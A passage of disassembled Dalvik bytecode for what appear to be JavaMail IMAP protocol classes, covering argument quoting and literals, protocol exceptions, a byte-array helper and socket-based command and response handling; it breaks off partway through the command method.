.method static constructor <clinit>()V
          .registers 4
00000000  new-instance            v0, ActivationDataFlavor
00000004  const-class             v1, String
00000008  const-string            v2, "text/xml"
0000000C  const-string            v3, "XML String"
00000010  invoke-direct           ActivationDataFlavor-><init>(Class, String, String)V, v0, v1, v2, v3
00000016  sput-object             v0, text_xml->myDF:ActivationDataFlavor
0000001A  return-void
.end method

.method public constructor <init>()V
          .registers 1
00000000  invoke-direct           text_plain-><init>()V, p0
00000006  return-void
.end method

.method protected getDF()ActivationDataFlavor
          .registers 2
00000000  sget-object             v0, text_xml->myDF:ActivationDataFlavor
00000004  return-object           v0
.end method

#--------------------------------------------------------------------------------
.class AString
.super Object
.source ""

.field bytes:[B

.method constructor <init>([B)V
          .registers 2
00000000  invoke-direct           Object-><init>()V, p0
00000006  iput-object             p1, p0, AString->bytes:[B
0000000A  return-void
.end method

#--------------------------------------------------------------------------------
.class public Argument
.super Object
.source ""

.field protected items:Vector

.method public constructor <init>()V
          .registers 3
00000000  invoke-direct           Object-><init>()V, p0
00000006  new-instance            v0, Vector
0000000A  const/4                 v1, 0x1
0000000C  invoke-direct           Vector-><init>(I)V, v0, v1
00000012  iput-object             v0, p0, Argument->items:Vector
00000016  return-void
.end method

.method private astring([B, Protocol)V
          .registers 15
00000000  const/4                 v2, 0x1
00000002  const/16                v11, 0x5C
00000006  const/4                 v3, 0x0
00000008  const/16                v10, 0x22
0000000C  invoke-virtual          Protocol->getOutputStream()OutputStream, p2
00000012  move-result-object      v0
00000014  check-cast              v0, DataOutputStream
00000018  array-length            v6, p1
0000001A  const/16                v1, 0x400
0000001E  if-le                   v6, v1, :2A
:22
00000022  invoke-direct           Argument->literal([B, Protocol)V, p0, p1, p2
:28
00000028  return-void
:2A
0000002A  if-nez                  v6, :58
:2E
0000002E  move                    v1, v2
:30
00000030  move                    v5, v3
00000032  move                    v4, v1
00000034  move                    v1, v3
:36
00000036  if-lt                   v5, v6, :5C
:3A
0000003A  if-eqz                  v4, :44
:3E
0000003E  invoke-virtual          DataOutputStream->write(I)V, v0, v10
:44
00000044  if-eqz                  v1, :F4
:48
00000048  if-lt                   v3, v6, :D6
:4C
0000004C  if-eqz                  v4, :28
:50
00000050  invoke-virtual          DataOutputStream->write(I)V, v0, v10
00000056  goto                    :28
:58
00000058  move                    v1, v3
0000005A  goto                    :30
:5C
0000005C  aget-byte               v7, p1, v5
00000060  if-eqz                  v7, :80
:64
00000064  const/16                v8, 0xD
00000068  if-eq                   v7, v8, :80
:6C
0000006C  const/16                v8, 0xA
00000070  if-eq                   v7, v8, :80
:74
00000074  and-int/lit16           v8, v7, 0xFF
00000078  const/16                v9, 0x7F
0000007C  if-le                   v8, v9, :88
:80
00000080  invoke-direct           Argument->literal([B, Protocol)V, p0, p1, p2
00000086  goto                    :28
:88
00000088  const/16                v8, 0x2A
0000008C  if-eq                   v7, v8, :C4
:90
00000090  const/16                v8, 0x25
00000094  if-eq                   v7, v8, :C4
:98
00000098  const/16                v8, 0x28
0000009C  if-eq                   v7, v8, :C4
:A0
000000A0  const/16                v8, 0x29
000000A4  if-eq                   v7, v8, :C4
:A8
000000A8  const/16                v8, 0x7B
000000AC  if-eq                   v7, v8, :C4
:B0
000000B0  if-eq                   v7, v10, :C4
:B4
000000B4  if-eq                   v7, v11, :C4
:B8
000000B8  and-int/lit16           v8, v7, 0xFF
000000BC  const/16                v9, 0x20
000000C0  if-gt                   v8, v9, :D0
:C4
000000C4  if-eq                   v7, v10, :CC
:C8
000000C8  if-ne                   v7, v11, :FC
:CC
000000CC  move                    v1, v2
000000CE  move                    v4, v2
:D0
000000D0  add-int/lit8            v5, v5, 0x1
000000D4  goto                    :36
:D6
000000D6  aget-byte               v1, p1, v3
000000DA  if-eq                   v1, v10, :E2
:DE
000000DE  if-ne                   v1, v11, :E8
:E2
000000E2  invoke-virtual          DataOutputStream->write(I)V, v0, v11
:E8
000000E8  invoke-virtual          DataOutputStream->write(I)V, v0, v1
000000EE  add-int/lit8            v3, v3, 0x1
000000F2  goto                    :48
:F4
000000F4  invoke-virtual          DataOutputStream->write([B)V, v0, p1
000000FA  goto                    :4C
:FC
000000FC  move                    v4, v2
000000FE  goto                    :D0
.end method

.method private literal(Literal, Protocol)V
          .registers 4
00000000  invoke-interface        Literal->size()I, p1
00000006  move-result             v0
00000008  invoke-direct           Argument->startLiteral(Protocol, I)OutputStream, p0, p2, v0
0000000E  move-result-object      v0
00000010  invoke-interface        Literal->writeTo(OutputStream)V, p1, v0
00000016  return-void
.end method

.method private literal(ByteArrayOutputStream, Protocol)V
          .registers 4
00000000  invoke-virtual          ByteArrayOutputStream->size()I, p1
00000006  move-result             v0
00000008  invoke-direct           Argument->startLiteral(Protocol, I)OutputStream, p0, p2, v0
0000000E  move-result-object      v0
00000010  invoke-virtual          ByteArrayOutputStream->writeTo(OutputStream)V, p1, v0
00000016  return-void
.end method

.method private literal([B, Protocol)V
          .registers 4
00000000  array-length            v0, p1
00000002  invoke-direct           Argument->startLiteral(Protocol, I)OutputStream, p0, p2, v0
00000008  move-result-object      v0
0000000A  invoke-virtual          OutputStream->write([B)V, v0, p1
00000010  return-void
.end method

.method private startLiteral(Protocol, I)OutputStream
          .registers 6
00000000  invoke-virtual          Protocol->getOutputStream()OutputStream, p1
00000006  move-result-object      v0
00000008  check-cast              v0, DataOutputStream
0000000C  invoke-virtual          Protocol->supportsNonSyncLiterals()Z, p1
00000012  move-result             v1
00000014  const/16                v2, 0x7B
00000018  invoke-virtual          DataOutputStream->write(I)V, v0, v2
0000001E  invoke-static           Integer->toString(I)String, p2
00000024  move-result-object      v2
00000026  invoke-virtual          DataOutputStream->writeBytes(String)V, v0, v2
0000002C  if-eqz                  v1, :5A
:30
00000030  const-string            v2, "+}\r\n"
00000034  invoke-virtual          DataOutputStream->writeBytes(String)V, v0, v2
:3A
0000003A  invoke-virtual          DataOutputStream->flush()V, v0
00000040  if-nez                  v1, :58
:44
00000044  invoke-virtual          Protocol->readResponse()Response, p1
0000004A  move-result-object      v1
0000004C  invoke-virtual          Response->isContinuation()Z, v1
00000052  move-result             v2
00000054  if-eqz                  v2, :66
:58
00000058  return-object           v0
:5A
0000005A  const-string            v2, "}\r\n"
0000005E  invoke-virtual          DataOutputStream->writeBytes(String)V, v0, v2
00000064  goto                    :3A
:66
00000066  invoke-virtual          Response->isTagged()Z, v1
0000006C  move-result             v2
0000006E  if-eqz                  v2, :44
:72
00000072  new-instance            v0, LiteralException
00000076  invoke-direct           LiteralException-><init>(Response)V, v0, v1
0000007C  throw                   v0
.end method

.method public append(Argument)V
          .registers 5
00000000  iget-object             v0, p0, Argument->items:Vector
00000004  iget-object             v1, p0, Argument->items:Vector
00000008  invoke-virtual          Vector->size()I, v1
0000000E  move-result             v1
00000010  iget-object             v2, p1, Argument->items:Vector
00000014  invoke-virtual          Vector->size()I, v2
0000001A  move-result             v2
0000001C  add-int/2addr           v1, v2
0000001E  invoke-virtual          Vector->ensureCapacity(I)V, v0, v1
00000024  const/4                 v0, 0x0
:26
00000026  iget-object             v1, p1, Argument->items:Vector
0000002A  invoke-virtual          Vector->size()I, v1
00000030  move-result             v1
00000032  if-lt                   v0, v1, :38
:36
00000036  return-void
:38
00000038  iget-object             v1, p0, Argument->items:Vector
0000003C  iget-object             v2, p1, Argument->items:Vector
00000040  invoke-virtual          Vector->elementAt(I)Object, v2, v0
00000046  move-result-object      v2
00000048  invoke-virtual          Vector->addElement(Object)V, v1, v2
0000004E  add-int/lit8            v0, v0, 0x1
00000052  goto                    :26
.end method

.method public write(Protocol)V
          .registers 7
00000000  const/4                 v1, 0x0
00000002  iget-object             v0, p0, Argument->items:Vector
00000006  if-eqz                  v0, :2C
:A
0000000A  iget-object             v0, p0, Argument->items:Vector
0000000E  invoke-virtual          Vector->size()I, v0
00000014  move-result             v0
00000016  move                    v2, v0
:18
00000018  invoke-virtual          Protocol->getOutputStream()OutputStream, p1
0000001E  move-result-object      v0
00000020  check-cast              v0, DataOutputStream
00000024  move                    v3, v1
:26
00000026  if-lt                   v3, v2, :30
:2A
0000002A  return-void
:2C
0000002C  move                    v2, v1
0000002E  goto                    :18
:30
00000030  if-lez                  v3, :3E
:34
00000034  const/16                v1, 0x20
00000038  invoke-virtual          DataOutputStream->write(I)V, v0, v1
:3E
0000003E  iget-object             v1, p0, Argument->items:Vector
00000042  invoke-virtual          Vector->elementAt(I)Object, v1, v3
00000048  move-result-object      v1
0000004A  instance-of             v4, v1, Atom
0000004E  if-eqz                  v4, :68
:52
00000052  check-cast              v1, Atom
00000056  iget-object             v1, v1, Atom->string:String
0000005A  invoke-virtual          DataOutputStream->writeBytes(String)V, v0, v1
:60
00000060  add-int/lit8            v1, v3, 0x1
00000064  move                    v3, v1
00000066  goto                    :26
:68
00000068  instance-of             v4, v1, Number
0000006C  if-eqz                  v4, :84
:70
00000070  check-cast              v1, Number
00000074  invoke-virtual          Object->toString()String, v1
0000007A  move-result-object      v1
0000007C  invoke-virtual          DataOutputStream->writeBytes(String)V, v0, v1
00000082  goto                    :60
:84
00000084  instance-of             v4, v1, AString
00000088  if-eqz                  v4, :9C
:8C
0000008C  check-cast              v1, AString
00000090  iget-object             v1, v1, AString->bytes:[B
00000094  invoke-direct           Argument->astring([B, Protocol)V, p0, v1, p1
0000009A  goto                    :60
:9C
0000009C  instance-of             v4, v1, [B
000000A0  if-eqz                  v4, :B0
:A4
000000A4  check-cast              v1, [B
000000A8  invoke-direct           Argument->literal([B, Protocol)V, p0, v1, p1
000000AE  goto                    :60
:B0
000000B0  instance-of             v4, v1, ByteArrayOutputStream
000000B4  if-eqz                  v4, :C4
:B8
000000B8  check-cast              v1, ByteArrayOutputStream
000000BC  invoke-direct           Argument->literal(ByteArrayOutputStream, Protocol)V, p0, v1, p1
000000C2  goto                    :60
:C4
000000C4  instance-of             v4, v1, Literal
000000C8  if-eqz                  v4, :D8
:CC
000000CC  check-cast              v1, Literal
000000D0  invoke-direct           Argument->literal(Literal, Protocol)V, p0, v1, p1
000000D6  goto                    :60
:D8
000000D8  instance-of             v4, v1, Argument
000000DC  if-eqz                  v4, :60
:E0
000000E0  const/16                v4, 0x28
000000E4  invoke-virtual          DataOutputStream->write(I)V, v0, v4
000000EA  check-cast              v1, Argument
000000EE  invoke-virtual          Argument->write(Protocol)V, v1, p1
000000F4  const/16                v1, 0x29
000000F8  invoke-virtual          DataOutputStream->write(I)V, v0, v1
000000FE  goto                    :60
.end method

.method public writeArgument(Argument)V
          .registers 3
00000000  iget-object             v0, p0, Argument->items:Vector
00000004  invoke-virtual          Vector->addElement(Object)V, v0, p1
0000000A  return-void
.end method

.method public writeAtom(String)V
          .registers 4
00000000  iget-object             v0, p0, Argument->items:Vector
00000004  new-instance            v1, Atom
00000008  invoke-direct           Atom-><init>(String)V, v1, p1
0000000E  invoke-virtual          Vector->addElement(Object)V, v0, v1
00000014  return-void
.end method

.method public writeBytes(Literal)V
          .registers 3
00000000  iget-object             v0, p0, Argument->items:Vector
00000004  invoke-virtual          Vector->addElement(Object)V, v0, p1
0000000A  return-void
.end method

.method public writeBytes(ByteArrayOutputStream)V
          .registers 3
00000000  iget-object             v0, p0, Argument->items:Vector
00000004  invoke-virtual          Vector->addElement(Object)V, v0, p1
0000000A  return-void
.end method

.method public writeBytes([B)V
          .registers 3
00000000  iget-object             v0, p0, Argument->items:Vector
00000004  invoke-virtual          Vector->addElement(Object)V, v0, p1
0000000A  return-void
.end method

.method public writeNumber(I)V
          .registers 4
00000000  iget-object             v0, p0, Argument->items:Vector
00000004  new-instance            v1, Integer
00000008  invoke-direct           Integer-><init>(I)V, v1, p1
0000000E  invoke-virtual          Vector->addElement(Object)V, v0, v1
00000014  return-void
.end method

.method public writeNumber(J)V
          .registers 5
00000000  iget-object             v0, p0, Argument->items:Vector
00000004  new-instance            v1, Long
00000008  invoke-direct           Long-><init>(J)V, v1, p1, p2
0000000E  invoke-virtual          Vector->addElement(Object)V, v0, v1
00000014  return-void
.end method

.method public writeString(String)V
          .registers 5
00000000  iget-object             v0, p0, Argument->items:Vector
00000004  new-instance            v1, AString
00000008  invoke-static           ASCIIUtility->getBytes(String)[B, p1
0000000E  move-result-object      v2
00000010  invoke-direct           AString-><init>([B)V, v1, v2
00000016  invoke-virtual          Vector->addElement(Object)V, v0, v1
0000001C  return-void
.end method

.method public writeString(String, String)V
          .registers 6
00000000  if-nez                  p2, :C
:4
00000004  invoke-virtual          Argument->writeString(String)V, p0, p1
:A
0000000A  return-void
:C
0000000C  iget-object             v0, p0, Argument->items:Vector
00000010  new-instance            v1, AString
00000014  invoke-virtual          String->getBytes(String)[B, p1, p2
0000001A  move-result-object      v2
0000001C  invoke-direct           AString-><init>([B)V, v1, v2
00000022  invoke-virtual          Vector->addElement(Object)V, v0, v1
00000028  goto                    :A
.end method

#--------------------------------------------------------------------------------
.class Atom
.super Object
.source ""

.field string:String

.method constructor <init>(String)V
          .registers 2
00000000  invoke-direct           Object-><init>()V, p0
00000006  iput-object             p1, p0, Atom->string:String
0000000A  return-void
.end method

#--------------------------------------------------------------------------------
.class public ProtocolException
.super Exception
.source ""

.field private static final serialVersionUID:J = 0xC37C639E3A098641L
.field protected transient varargs response:Response

.method public constructor <init>()V
          .registers 2
00000000  invoke-direct           Exception-><init>()V, p0
00000006  const/4                 v0, 0x0
00000008  iput-object             v0, p0, ProtocolException->response:Response
0000000C  return-void
.end method

.method public constructor <init>(Response)V
          .registers 3
00000000  invoke-virtual          Response->toString()String, p1
00000006  move-result-object      v0
00000008  invoke-direct           Exception-><init>(String)V, p0, v0
0000000E  const/4                 v0, 0x0
00000010  iput-object             v0, p0, ProtocolException->response:Response
00000014  iput-object             p1, p0, ProtocolException->response:Response
00000018  return-void
.end method

.method public constructor <init>(String)V
          .registers 3
00000000  invoke-direct           Exception-><init>(String)V, p0, p1
00000006  const/4                 v0, 0x0
00000008  iput-object             v0, p0, ProtocolException->response:Response
0000000C  return-void
.end method

.method public getResponse()Response
          .registers 2
00000000  iget-object             v0, p0, ProtocolException->response:Response
00000004  return-object           v0
.end method

#--------------------------------------------------------------------------------
.class public BadCommandException
.super ProtocolException
.source ""

.field private static final serialVersionUID:J = 0x50122C148D564B0BL

.method public constructor <init>()V
          .registers 1
00000000  invoke-direct           ProtocolException-><init>()V, p0
00000006  return-void
.end method

.method public constructor <init>(Response)V
          .registers 2
00000000  invoke-direct           ProtocolException-><init>(Response)V, p0, p1
00000006  return-void
.end method

.method public constructor <init>(String)V
          .registers 2
00000000  invoke-direct           ProtocolException-><init>(String)V, p0, p1
00000006  return-void
.end method

#--------------------------------------------------------------------------------
.class public ByteArray
.super Object
.source ""

.field private bytes:[B
.field private count:I
.field private start:I

.method public constructor <init>(I)V
          .registers 4
00000000  new-array               v0, p1, [B
00000004  const/4                 v1, 0x0
00000006  invoke-direct           ByteArray-><init>([B, I, I)V, p0, v0, v1, p1
0000000C  return-void
.end method

.method public constructor <init>([B, I, I)V
          .registers 4
00000000  invoke-direct           Object-><init>()V, p0
00000006  iput-object             p1, p0, ByteArray->bytes:[B
0000000A  iput                    p2, p0, ByteArray->start:I
0000000E  iput                    p3, p0, ByteArray->count:I
00000012  return-void
.end method

.method public getBytes()[B
          .registers 2
00000000  iget-object             v0, p0, ByteArray->bytes:[B
00000004  return-object           v0
.end method

.method public getCount()I
          .registers 2
00000000  iget                    v0, p0, ByteArray->count:I
00000004  return                  v0
.end method

.method public getNewBytes()[B
          .registers 6
00000000  iget                    v0, p0, ByteArray->count:I
00000004  new-array               v0, v0, [B
00000008  iget-object             v1, p0, ByteArray->bytes:[B
0000000C  iget                    v2, p0, ByteArray->start:I
00000010  const/4                 v3, 0x0
00000012  iget                    v4, p0, ByteArray->count:I
00000016  invoke-static           System->arraycopy(Object, I, Object, I, I)V, v1, v2, v0, v3, v4
0000001C  return-object           v0
.end method

.method public getStart()I
          .registers 2
00000000  iget                    v0, p0, ByteArray->start:I
00000004  return                  v0
.end method

.method public grow(I)V
          .registers 6
00000000  const/4                 v3, 0x0
00000002  iget-object             v0, p0, ByteArray->bytes:[B
00000006  array-length            v0, v0
00000008  add-int/2addr           v0, p1
0000000A  new-array               v0, v0, [B
0000000E  iget-object             v1, p0, ByteArray->bytes:[B
00000012  iget-object             v2, p0, ByteArray->bytes:[B
00000016  array-length            v2, v2
00000018  invoke-static           System->arraycopy(Object, I, Object, I, I)V, v1, v3, v0, v3, v2
0000001E  iput-object             v0, p0, ByteArray->bytes:[B
00000022  return-void
.end method

.method public setCount(I)V
          .registers 2
00000000  iput                    p1, p0, ByteArray->count:I
00000004  return-void
.end method

.method public toByteArrayInputStream()ByteArrayInputStream
          .registers 5
00000000  new-instance            v0, ByteArrayInputStream
00000004  iget-object             v1, p0, ByteArray->bytes:[B
00000008  iget                    v2, p0, ByteArray->start:I
0000000C  iget                    v3, p0, ByteArray->count:I
00000010  invoke-direct           ByteArrayInputStream-><init>([B, I, I)V, v0, v1, v2, v3
00000016  return-object           v0
.end method

#--------------------------------------------------------------------------------
.class public CommandFailedException
.super ProtocolException
.source ""

.field private static final serialVersionUID:J = 0xB049DAEAD3E06EFL

.method public constructor <init>()V
          .registers 1
00000000  invoke-direct           ProtocolException-><init>()V, p0
00000006  return-void
.end method

.method public constructor <init>(Response)V
          .registers 2
00000000  invoke-direct           ProtocolException-><init>(Response)V, p0, p1
00000006  return-void
.end method

.method public constructor <init>(String)V
          .registers 2
00000000  invoke-direct           ProtocolException-><init>(String)V, p0, p1
00000006  return-void
.end method

#--------------------------------------------------------------------------------
.class public ConnectionException
.super ProtocolException
.source ""

.field private static final serialVersionUID:J = 0x4FCB2DB4E6C2E197L
.field private transient varargs p:Protocol

.method public constructor <init>()V
          .registers 1
00000000  invoke-direct           ProtocolException-><init>()V, p0
00000006  return-void
.end method

.method public constructor <init>(Protocol, Response)V
          .registers 3
00000000  invoke-direct           ProtocolException-><init>(Response)V, p0, p2
00000006  iput-object             p1, p0, ConnectionException->p:Protocol
0000000A  return-void
.end method

.method public constructor <init>(String)V
          .registers 2
00000000  invoke-direct           ProtocolException-><init>(String)V, p0, p1
00000006  return-void
.end method

.method public getProtocol()Protocol
          .registers 2
00000000  iget-object             v0, p0, ConnectionException->p:Protocol
00000004  return-object           v0
.end method

#--------------------------------------------------------------------------------
.class public abstract interface Literal
.super Object
.source ""

.method public abstract size()I
.end method

.method public abstract writeTo(OutputStream)V
.end method

#--------------------------------------------------------------------------------
.class public LiteralException
.super ProtocolException
.source ""

.field private static final serialVersionUID:J = 0x9FFA229B02C4EEC7L

.method public constructor <init>(Response)V
          .registers 3
00000000  invoke-virtual          Response->toString()String, p1
00000006  move-result-object      v0
00000008  invoke-direct           ProtocolException-><init>(String)V, p0, v0
0000000E  iput-object             p1, p0, LiteralException->response:Response
00000012  return-void
.end method

#--------------------------------------------------------------------------------
.class public ParsingException
.super ProtocolException
.source ""

.field private static final serialVersionUID:J = 0x6BA345E6A3110EE7L

.method public constructor <init>()V
          .registers 1
00000000  invoke-direct           ProtocolException-><init>()V, p0
00000006  return-void
.end method

.method public constructor <init>(Response)V
          .registers 2
00000000  invoke-direct           ProtocolException-><init>(Response)V, p0, p1
00000006  return-void
.end method

.method public constructor <init>(String)V
          .registers 2
00000000  invoke-direct           ProtocolException-><init>(String)V, p0, p1
00000006  return-void
.end method

#--------------------------------------------------------------------------------
.class public Protocol
.super Object
.source ""

.field private static final CRLF:[B
.field private connected:Z
.field protected debug:Z
.field private volatile bridge handlers:Vector
.field protected host:String
.field private volatile bridge input:ResponseInputStream
.field protected out:PrintStream
.field private volatile bridge output:DataOutputStream
.field protected prefix:String
.field protected props:Properties
.field protected quote:Z
.field private socket:Socket
.field private tagCounter:I
.field private volatile bridge timestamp:J
.field private traceInput:TraceInputStream
.field private traceOutput:TraceOutputStream

.method static constructor <clinit>()V
          .registers 1
00000000  const/4                 v0, 0x2
00000002  new-array               v0, v0, [B
00000006  fill-array-data         v0, :14
0000000C  sput-object             v0, Protocol->CRLF:[B
00000010  return-void
00000014  .array-data 1 x 0x2
              0xD
              0xA
          .end array-data
.end method

.method public constructor <init>(InputStream, OutputStream, Z)V
          .registers 7
00000000  const/4                 v1, 0x0
00000002  invoke-direct           Object-><init>()V, p0
00000008  iput-boolean            v1, p0, Protocol->connected:Z
0000000C  iput                    v1, p0, Protocol->tagCounter:I
00000010  const/4                 v0, 0x0
00000012  iput-object             v0, p0, Protocol->handlers:Vector
00000016  const-string            v0, "localhost"
0000001A  iput-object             v0, p0, Protocol->host:String
0000001E  iput-boolean            p3, p0, Protocol->debug:Z
00000022  iput-boolean            v1, p0, Protocol->quote:Z
00000026  sget-object             v0, System->out:PrintStream
0000002A  iput-object             v0, p0, Protocol->out:PrintStream
0000002E  new-instance            v0, TraceInputStream
00000032  sget-object             v1, System->out:PrintStream
00000036  invoke-direct           TraceInputStream-><init>(InputStream, OutputStream)V, v0, p1, v1
0000003C  iput-object             v0, p0, Protocol->traceInput:TraceInputStream
00000040  iget-object             v0, p0, Protocol->traceInput:TraceInputStream
00000044  invoke-virtual          TraceInputStream->setTrace(Z)V, v0, p3
0000004A  iget-object             v0, p0, Protocol->traceInput:TraceInputStream
0000004E  iget-boolean            v1, p0, Protocol->quote:Z
00000052  invoke-virtual          TraceInputStream->setQuote(Z)V, v0, v1
00000058  new-instance            v0, ResponseInputStream
0000005C  iget-object             v1, p0, Protocol->traceInput:TraceInputStream
00000060  invoke-direct           ResponseInputStream-><init>(InputStream)V, v0, v1
00000066  iput-object             v0, p0, Protocol->input:ResponseInputStream
0000006A  new-instance            v0, TraceOutputStream
0000006E  sget-object             v1, System->out:PrintStream
00000072  invoke-direct           TraceOutputStream-><init>(OutputStream, OutputStream)V, v0, p2, v1
00000078  iput-object             v0, p0, Protocol->traceOutput:TraceOutputStream
0000007C  iget-object             v0, p0, Protocol->traceOutput:TraceOutputStream
00000080  invoke-virtual          TraceOutputStream->setTrace(Z)V, v0, p3
00000086  iget-object             v0, p0, Protocol->traceOutput:TraceOutputStream
0000008A  iget-boolean            v1, p0, Protocol->quote:Z
0000008E  invoke-virtual          TraceOutputStream->setQuote(Z)V, v0, v1
00000094  new-instance            v0, DataOutputStream
00000098  new-instance            v1, BufferedOutputStream
0000009C  iget-object             v2, p0, Protocol->traceOutput:TraceOutputStream
000000A0  invoke-direct           BufferedOutputStream-><init>(OutputStream)V, v1, v2
000000A6  invoke-direct           DataOutputStream-><init>(OutputStream)V, v0, v1
000000AC  iput-object             v0, p0, Protocol->output:DataOutputStream
000000B0  invoke-static           System->currentTimeMillis()J
000000B6  move-result-wide        v0
000000B8  iput-wide               v0, p0, Protocol->timestamp:J
000000BC  return-void
.end method

.method public constructor <init>(String, I, Z, PrintStream, Properties, String, Z)V
          .registers 12
00000000  const/4                 v0, 0x1
00000002  const/4                 v1, 0x0
00000004  invoke-direct           Object-><init>()V, p0
0000000A  iput-boolean            v1, p0, Protocol->connected:Z
0000000E  iput                    v1, p0, Protocol->tagCounter:I
00000012  const/4                 v2, 0x0
00000014  iput-object             v2, p0, Protocol->handlers:Vector
:18
00000018  iput-object             p1, p0, Protocol->host:String
0000001C  iput-boolean            p3, p0, Protocol->debug:Z
00000020  iput-object             p4, p0, Protocol->out:PrintStream
00000024  iput-object             p5, p0, Protocol->props:Properties
00000028  iput-object             p6, p0, Protocol->prefix:String
0000002C  invoke-static           SocketFetcher->getSocket(String, I, Properties, String, Z)Socket, p1, p2, p5, p6, p7
00000032  move-result-object      v2
00000034  iput-object             v2, p0, Protocol->socket:Socket
00000038  const-string            v2, "mail.debug.quote"
0000003C  invoke-virtual          Properties->getProperty(String)String, p5, v2
00000042  move-result-object      v2
00000044  if-eqz                  v2, :92
:48
00000048  const-string            v3, "true"
0000004C  invoke-virtual          String->equalsIgnoreCase(String)Z, v2, v3
00000052  move-result             v2
00000054  if-eqz                  v2, :92
:58
00000058  iput-boolean            v0, p0, Protocol->quote:Z
0000005C  invoke-direct           Protocol->initStreams(PrintStream)V, p0, p4
00000062  invoke-virtual          Protocol->readResponse()Response, p0
00000068  move-result-object      v0
0000006A  invoke-virtual          Protocol->processGreeting(Response)V, p0, v0
00000070  invoke-static           System->currentTimeMillis()J
00000076  move-result-wide        v0
00000078  iput-wide               v0, p0, Protocol->timestamp:J
0000007C  const/4                 v0, 0x1
0000007E  iput-boolean            v0, p0, Protocol->connected:Z
:82
00000082  iget-boolean            v0, p0, Protocol->connected:Z
00000086  if-nez                  v0, :90
:8A
0000008A  invoke-virtual          Protocol->disconnect()V, p0
:90
00000090  return-void
:92
00000092  move                    v0, v1
00000094  goto                    :58
:96
00000096  move-exception          v0
00000098  iget-boolean            v1, p0, Protocol->connected:Z
0000009C  if-nez                  v1, :A6
:A0
000000A0  invoke-virtual          Protocol->disconnect()V, p0
:A6
000000A6  throw                   v0
          .catchall {:18 .. :82} :96
.end method

.method private initStreams(PrintStream)V
          .registers 5
00000000  new-instance            v0, TraceInputStream
00000004  iget-object             v1, p0, Protocol->socket:Socket
00000008  invoke-virtual          Socket->getInputStream()InputStream, v1
0000000E  move-result-object      v1
00000010  invoke-direct           TraceInputStream-><init>(InputStream, OutputStream)V, v0, v1, p1
00000016  iput-object             v0, p0, Protocol->traceInput:TraceInputStream
0000001A  iget-object             v0, p0, Protocol->traceInput:TraceInputStream
0000001E  iget-boolean            v1, p0, Protocol->debug:Z
00000022  invoke-virtual          TraceInputStream->setTrace(Z)V, v0, v1
00000028  iget-object             v0, p0, Protocol->traceInput:TraceInputStream
0000002C  iget-boolean            v1, p0, Protocol->quote:Z
00000030  invoke-virtual          TraceInputStream->setQuote(Z)V, v0, v1
00000036  new-instance            v0, ResponseInputStream
0000003A  iget-object             v1, p0, Protocol->traceInput:TraceInputStream
0000003E  invoke-direct           ResponseInputStream-><init>(InputStream)V, v0, v1
00000044  iput-object             v0, p0, Protocol->input:ResponseInputStream
00000048  new-instance            v0, TraceOutputStream
0000004C  iget-object             v1, p0, Protocol->socket:Socket
00000050  invoke-virtual          Socket->getOutputStream()OutputStream, v1
00000056  move-result-object      v1
00000058  invoke-direct           TraceOutputStream-><init>(OutputStream, OutputStream)V, v0, v1, p1
0000005E  iput-object             v0, p0, Protocol->traceOutput:TraceOutputStream
00000062  iget-object             v0, p0, Protocol->traceOutput:TraceOutputStream
00000066  iget-boolean            v1, p0, Protocol->debug:Z
0000006A  invoke-virtual          TraceOutputStream->setTrace(Z)V, v0, v1
00000070  iget-object             v0, p0, Protocol->traceOutput:TraceOutputStream
00000074  iget-boolean            v1, p0, Protocol->quote:Z
00000078  invoke-virtual          TraceOutputStream->setQuote(Z)V, v0, v1
0000007E  new-instance            v0, DataOutputStream
00000082  new-instance            v1, BufferedOutputStream
00000086  iget-object             v2, p0, Protocol->traceOutput:TraceOutputStream
0000008A  invoke-direct           BufferedOutputStream-><init>(OutputStream)V, v1, v2
00000090  invoke-direct           DataOutputStream-><init>(OutputStream)V, v0, v1
00000096  iput-object             v0, p0, Protocol->output:DataOutputStream
0000009A  return-void
.end method

.method public declared-synchronized addResponseHandler(ResponseHandler)V
          .registers 3
00000000  monitor-enter           p0
:2
00000002  iget-object             v0, p0, Protocol->handlers:Vector
00000006  if-nez                  v0, :18
:A
0000000A  new-instance            v0, Vector
0000000E  invoke-direct           Vector-><init>()V, v0
00000014  iput-object             v0, p0, Protocol->handlers:Vector
:18
00000018  iget-object             v0, p0, Protocol->handlers:Vector
0000001C  invoke-virtual          Vector->addElement(Object)V, v0, p1
:22
00000022  monitor-exit            p0
00000024  return-void
:26
00000026  move-exception          v0
00000028  monitor-exit            p0
0000002A  throw                   v0
          .catchall {:2 .. :22} :26
.end method

.method public declared-synchronized command(String, Argument)[Response
          .registers 9
00000000  const/4                 v2, 0x1
00000002  monitor-enter           p0
:4
00000004  new-instance            v4, Vector
00000008  invoke-direct           Vector-><init>()V, v4
:E
0000000E  const/4                 v1, 0x0
00000010  const/4                 v0, 0x0
:12
00000012  invoke-virtual          Protocol->writeCommand(String, Argument)String, p0, p1, p2
:18
00000018  move-result-object      v0
:1A
0000001A  if-eqz                  v1, :68
:1E
0000001E  invoke-virtual          Vector->size()I, v4
00000024  move-result             v0
00000026  new-array               v0, v0, [Response
0000002A  invoke-virtual          Vector->copyInto([Object)V, v4, v0
00000030  invoke-static           System->currentTimeMillis()J
00000036  move-result-wide        v1
00000038  iput-wide               v1, p0, Protocol->timestamp:J
:3C
0000003C  monitor-exit            p0
0000003E  return-object           v0
:40
00000040  move-exception          v1
:42
00000042  invoke-virtual          LiteralException->getResponse()Response, v1
00000048  move-result-object      v1
0000004A  invoke-virtual          Vector->addElement(Object)V, v4, v1
00000050  move                    v1, v2
00000052  goto                    :1A
:54
00000054  move-exception          v1
00000056  invoke-static           Response->byeResponse(Exception)Response, v1
0000005C  move-result-object      v1
0000005E  invoke-virtual          Vector->addElement(Object)V, v4, v1
:64
00000064  move                    v1, v2
00000066  goto                    :1A
:68
00000068  invoke-virtual          Protocol->readResponse()Response, p0
:6E
0000006E  move-result-object      v3
:70
00000070  invoke-virtual          Vector->addElement(Object)V, v4, v3
00000076  invoke-virtual          Response->isBYE()Z, v3
0000007C  move-result             v5
0000007E  if-eqz                  v5, :84
:82
00000082  move                    v1, v2
:84
00000084  invoke-virtual          Response->isTagged()Z, v3
0000008A  move-result             v5
0000008C  if-eqz                  v5, :1A
:90
00000090  invoke-virtual          Response->getTag()String, v3
00000096  move-result-object      v3
00000098  invoke-virtual          String->equals(Object)Z, v3, v0
0000009E  move-result             v3
000000A0  if-eqz                  v3, :1A
:A4
000000A4  move                    v1, v2
000000A6  goto                    :1A
:A8
000000A8  move-exception          v3
000000AA  invoke-static           Response->byeResponse(Exception)Response, v3
:B0
